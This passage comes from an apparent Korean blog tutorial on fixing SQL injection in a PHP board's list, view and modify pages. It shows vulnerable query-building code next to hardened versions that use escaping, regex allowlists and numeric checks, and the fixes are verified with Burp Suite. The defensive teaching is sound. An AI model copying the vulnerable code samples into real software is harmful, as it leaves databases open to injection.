  $keyword = $db_conn-&amp;gt;real_escape_string($_POST[&quot;keyword&quot;]);

  if(empty($search_type) &amp;amp;&amp;amp; empty($keyword)) {
    $query = &quot;select * from {$tb_name}&quot;;
  } else {
    if($search_type == &quot;all&quot;) {
      $query = &quot;select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'&quot;;
    } else {
      $query = &quot;select * from {$tb_name} where {$search_type} like '%{$keyword}%'&quot;;
    }
  }

  # Sort Logic
  $sort = $_GET[&quot;sort&quot;];
  $sort_column = $_GET[&quot;sort_column&quot;];

  if(empty($sort_column) &amp;amp;&amp;amp; empty($sort)) {
    $query .= &quot; order by idx desc&quot;;
  } else {
    $query .= &quot; order by {$sort_column} {$sort}&quot;;
  }

  $result = $db_conn-&amp;gt;query($query);
  $num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이스케이프 처리 후 다시 te' 'st 로 검색하니 검색결과가 나오지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;real_escape_string을 사용하니 싱글쿼터 ' 를 순수 문자열로 인식하여 검색되지 않은것이다. ( te' 'st 라는 게시글을 검색 )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzzo5M/btsLxOUyWJQ/UGUrbrFy9MlaRLrYHgfpqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzzo5M/btsLxOUyWJQ/UGUrbrFy9MlaRLrYHgfpqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzzo5M/btsLxOUyWJQ/UGUrbrFy9MlaRLrYHgfpqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbzzo5M%2FbtsLxOUyWJQ%2FUGUrbrFy9MlaRLrYHgfpqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;405&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$search_type 과 $sort_column 을 시큐어 코딩 적용을 해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 두 부분에 사용자 입력값이 들어오는 경우, 특수문자나 공백 등 허용되지 않은 문자들이 입력되지 않도록 검증해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혀용한 문자만 입력받게끔 정규표현식을 사용해서 코드를 작성하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP 는 preg_match를 사용하고, JAVA는 Pattern.matches 를 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;empty를 사용하여 빈값이 입력될 수 있는 조건을 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 작성 시 주의할 점은 꼭 exit 를 해줘야 해당 입력값 검증이 가능하다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; list.php 의 Action 페이지 - $search_type, $sort_column 정규표현식 패턴 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735195213548&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @include_once(&quot;./common.php&quot;);
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST[&quot;search_type&quot;];
  $keyword = $db_conn-&amp;gt;real_escape_string($_POST[&quot;keyword&quot;]);

  # Sort Logic
  $sort = $_GET[&quot;sort&quot;];
  $sort_column = $_GET[&quot;sort_column&quot;];

  if((!preg_match(&quot;/^[a-zA-Z]*$/&quot;, $search_type) &amp;amp;&amp;amp; !empty($search_type)) || (!preg_match(&quot;/^[a-zA-Z]*$/&quot;, $sort_column) &amp;amp;&amp;amp; !empty($sort_column))){
    echo &quot;&amp;lt;script&amp;gt;alert('허용된 문자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  if(empty($search_type) &amp;amp;&amp;amp; empty($keyword)) {
    $query = &quot;select * from {$tb_name}&quot;;
  } else {
    if($search_type == &quot;all&quot;) {
      $query = &quot;select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'&quot;;
    } else {
      $query = &quot;select * from {$tb_name} where {$search_type} like '%{$keyword}%'&quot;;
    }
  }

  if(empty($sort_column) &amp;amp;&amp;amp; empty($sort)) {
    $query .= &quot; order by idx desc&quot;;
  } else {
    $query .= &quot; order by {$sort_column} {$sort}&quot;;
  }

  $result = $db_conn-&amp;gt;query($query);
  $num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩 적용 후 sort_column에 공백과 괄호가 들어가니 허용된 문자가 아니라는에러 메시지가 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsPn4r/btsLz930wMu/AKsgWTj5Ka4SdGgy8Ka821/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsPn4r/btsLz930wMu/AKsgWTj5Ka4SdGgy8Ka821/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsPn4r/btsLz930wMu/AKsgWTj5Ka4SdGgy8Ka821/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsPn4r%2FbtsLz930wMu%2FAKsgWTj5Ka4SdGgy8Ka821%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;260&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;251&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBBQbE/btsLzpfcuLo/wY1KKA4arpksLRSSwOWaik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBBQbE/btsLzpfcuLo/wY1KKA4arpksLRSSwOWaik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBBQbE/btsLzpfcuLo/wY1KKA4arpksLRSSwOWaik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBBQbE%2FbtsLzpfcuLo%2FwY1KKA4arpksLRSSwOWaik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;251&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;251&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 혀용된 영어 알파벳만 사용이 가능한 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버스스위트를 실행해서 공백이 입력되는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 인터셉트 On 후 title 을 기준으로 test 를 검색해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPsK6w/btsLAaoh6HK/awKdlLyN3zmB4xyT6CO4Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPsK6w/btsLAaoh6HK/awKdlLyN3zmB4xyT6CO4Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPsK6w/btsLAaoh6HK/awKdlLyN3zmB4xyT6CO4Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPsK6w%2FbtsLAaoh6HK%2FawKdlLyN3zmB4xyT6CO4Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;449&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공백은 URL 인코딩 시 + 를 입력되므로, 공백을 입력하고 Forward 후 인터셉트를 Off 하면, 허용된 문자열이 아니라는 에러가 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;803&quot; data-origin-height=&quot;704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/drtbqW/btsLzFCmvvm/aDuu3S0fZ5rYG61OK5NH41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/drtbqW/btsLzFCmvvm/aDuu3S0fZ5rYG61OK5NH41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/drtbqW/btsLzFCmvvm/aDuu3S0fZ5rYG61OK5NH41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdrtbqW%2FbtsLzFCmvvm%2FaDuu3S0fZ5rYG61OK5NH41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;803&quot; height=&quot;704&quot; data-origin-width=&quot;803&quot; data-origin-height=&quot;704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;250&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfKZiu/btsLAghLYYi/KP2AuMYei2MJ2OkKd5ZGJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfKZiu/btsLAghLYYi/KP2AuMYei2MJ2OkKd5ZGJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfKZiu/btsLAghLYYi/KP2AuMYei2MJ2OkKd5ZGJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfKZiu%2FbtsLAghLYYi%2FKP2AuMYei2MJ2OkKd5ZGJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;250&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;250&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로써 $sort_column 은 시큐어 코딩이 적용되었다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검증없이 사용자 입력값이 $sort 에 들어가므로 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;SQL Injection 에 취약하므로&lt;span&gt; 시큐어 코딩을 적용해줘야 한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판은 기본값으로 내림차순(DESC) 정렬이 되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sort는 오름차순과 내림차순으로 데이터를 정렬해주는 기능을 하기 때문에, ASC와 DESC를 비교만하고 Server-Side에서 하드코딩 시켜주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; list.php 의 Action 페이지 - $sort 시큐어코딩 적용&amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735197139431&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @include_once(&quot;./common.php&quot;);
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST[&quot;search_type&quot;];
  $keyword = $db_conn-&amp;gt;real_escape_string($_POST[&quot;keyword&quot;]);

  # Sort Logic
  $sort = $_GET[&quot;sort&quot;];
  $sort_column = $_GET[&quot;sort_column&quot;];

  if((!preg_match(&quot;/^[a-zA-Z]*$/&quot;, $search_type) &amp;amp;&amp;amp; !empty($search_type)) || (!preg_match(&quot;/^[a-zA-Z]*$/&quot;, $sort_column) &amp;amp;&amp;amp; !empty($sort_column))){
    echo &quot;&amp;lt;script&amp;gt;alert('허용된 문자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  if(empty($search_type) &amp;amp;&amp;amp; empty($keyword)) {
    $query = &quot;select * from {$tb_name}&quot;;
  } else {
    if($search_type == &quot;all&quot;) {
      $query = &quot;select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'&quot;;
    } else {
      $query = &quot;select * from {$tb_name} where {$search_type} like '%{$keyword}%'&quot;;
    }
  }

  if(empty($sort_column) &amp;amp;&amp;amp; empty($sort)) {
    $query .= &quot; order by idx desc&quot;;
  } else {
    $sort = strtoupper($sort);
    if($sort == &quot;ASC&quot;) {
      $query .= &quot; order by {$sort_column} ASC&quot;;
    } else {
      $query .= &quot; order by {$sort_column} DESC&quot;;
    }
  }

  $result = $db_conn-&amp;gt;query($query);
  $num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로써 $sort 는 SQL Injection 에 안전하다고 볼 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;list.php 소스코드 확인 시 $tb_name은 사용자 입력값을 받아서 테이블을 구성하는 상태가 아니고, common.php 에서 불러오는 상태이기 때문에 SQL Injection에 안전하다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 컬럼명의 길이를 어느정도 알기 때문에 컬럼명의 길이값을 제한하는 검증 코드를 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 접속하여 insecure_board 테이블 구조를 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;258&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ziPNL/btsLzp1mxGx/YjbDYglbStA2auGuE5NPQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ziPNL/btsLzp1mxGx/YjbDYglbStA2auGuE5NPQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ziPNL/btsLzp1mxGx/YjbDYglbStA2auGuE5NPQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FziPNL%2FbtsLzp1mxGx%2FYjbDYglbStA2auGuE5NPQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;258&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;258&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컬럼명을 보니 10글자를 넘지 않는 것이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 컬럼명 길이를 제한하는 검증 코드를 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;strlen &amp;rarr; 문자열 길이값을 반환하는 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; list.php 의 Action 페이지 - 컬럼명 길이값 검증 코드 추가&amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735281798529&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @include_once(&quot;./common.php&quot;);
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST[&quot;search_type&quot;];
  $keyword = $db_conn-&amp;gt;real_escape_string($_POST[&quot;keyword&quot;]);

  # Sort Logic
  $sort = $_GET[&quot;sort&quot;];
  $sort_column = $_GET[&quot;sort_column&quot;];

  if(strlen($search_type) &amp;gt; 10 || strlen($sort_column) &amp;gt; 10 ) {
    echo &quot;&amp;lt;script&amp;gt;alert('허용된 길이를 초과하였습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  if((!preg_match(&quot;/^[a-zA-Z]*$/&quot;, $search_type) &amp;amp;&amp;amp; !empty($search_type)) || (!preg_match(&quot;/^[a-zA-Z]*$/&quot;, $sort_column) &amp;amp;&amp;amp; !empty($sort_column))){
    echo &quot;&amp;lt;script&amp;gt;alert('허용된 문자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  if(empty($search_type) &amp;amp;&amp;amp; empty($keyword)) {
    $query = &quot;select * from {$tb_name}&quot;;
  } else {
    if($search_type == &quot;all&quot;) {
      $query = &quot;select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'&quot;;
    } else {
      $query = &quot;select * from {$tb_name} where {$search_type} like '%{$keyword}%'&quot;;
    }
  }

  if(empty($sort_column) &amp;amp;&amp;amp; empty($sort)) {
    $query .= &quot; order by idx desc&quot;;
  } else {
    $sort = strtoupper($sort);
    if($sort == &quot;ASC&quot;) {
      $query .= &quot; order by {$sort_column} ASC&quot;;
    } else {
      $query .= &quot; order by {$sort_column} DESC&quot;;
    }
  }

  $result = $db_conn-&amp;gt;query($query);
  $num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sort_column 부분에 특정 문자열을 여러번 입력하니 10글자를 초과하게되어 다음과 같은 에러메시지가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;240&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/76NYn/btsLyExWnjH/mRuvgiUnjiOOK6ybmRd931/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/76NYn/btsLyExWnjH/mRuvgiUnjiOOK6ybmRd931/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/76NYn/btsLyExWnjH/mRuvgiUnjiOOK6ybmRd931/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F76NYn%2FbtsLyExWnjH%2FmRuvgiUnjiOOK6ybmRd931%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;240&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;240&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 상세 보기 페이지에도 SQL Injection이 취약한 부분이 있으므로 시큐어 코딩을 적용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;view.php 소스코드를 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; view.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735282150161&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	$db_conn = mysql_conn();
	$idx = $_REQUEST[&quot;idx&quot;];
	$password = $_POST[&quot;password&quot;];

	if(empty($password)) {
		$query = &quot;select * from {$tb_name} where idx={$idx} and secret='n'&quot;;
	} else {
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
	}
	
	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 $idx와 $password 부분에는 입력값 검증이 되어 있지 않아 SQL Injection이 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$password는 문자형이므로 이스케이프 처리를 한다. &amp;rarr; real_escape_string&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$idx는 숫자형이므로 is_numeric 함수를 사용하여 검증을 한다. &amp;rarr; 숫자가 아닐 경우 에러메시지 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;is_numeric &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;주어진 값이 숫자 또는 숫자 문자열인지 확인하는 함수, 주어진 값이 숫자면 True 아니면 False 반환&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; view.php 의 Action 페이지 - 시큐어코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735282549234&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	$db_conn = mysql_conn();
	$idx = $_REQUEST[&quot;idx&quot;];
	$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);

	if(!is_numeric($idx)) {
		echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	}

	if(empty($password)) {
		$query = &quot;select * from {$tb_name} where idx={$idx} and secret='n'&quot;;
	} else {
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
	}
	
	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정 페이지 또한 idx 가 SQL Injection 에 취약하므로 시큐어 코딩을 적용해야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;851&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGI7yf/btsLAt9QJL9/ZBYzRE5ZlUiURmtgaW2oz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGI7yf/btsLAt9QJL9/ZBYzRE5ZlUiURmtgaW2oz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGI7yf/btsLAt9QJL9/ZBYzRE5ZlUiURmtgaW2oz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGI7yf%2FbtsLAt9QJL9%2FZBYzRE5ZlUiURmtgaW2oz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;851&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;851&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modify.php 를 열고 소스코드를 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; modify.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735282686650&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
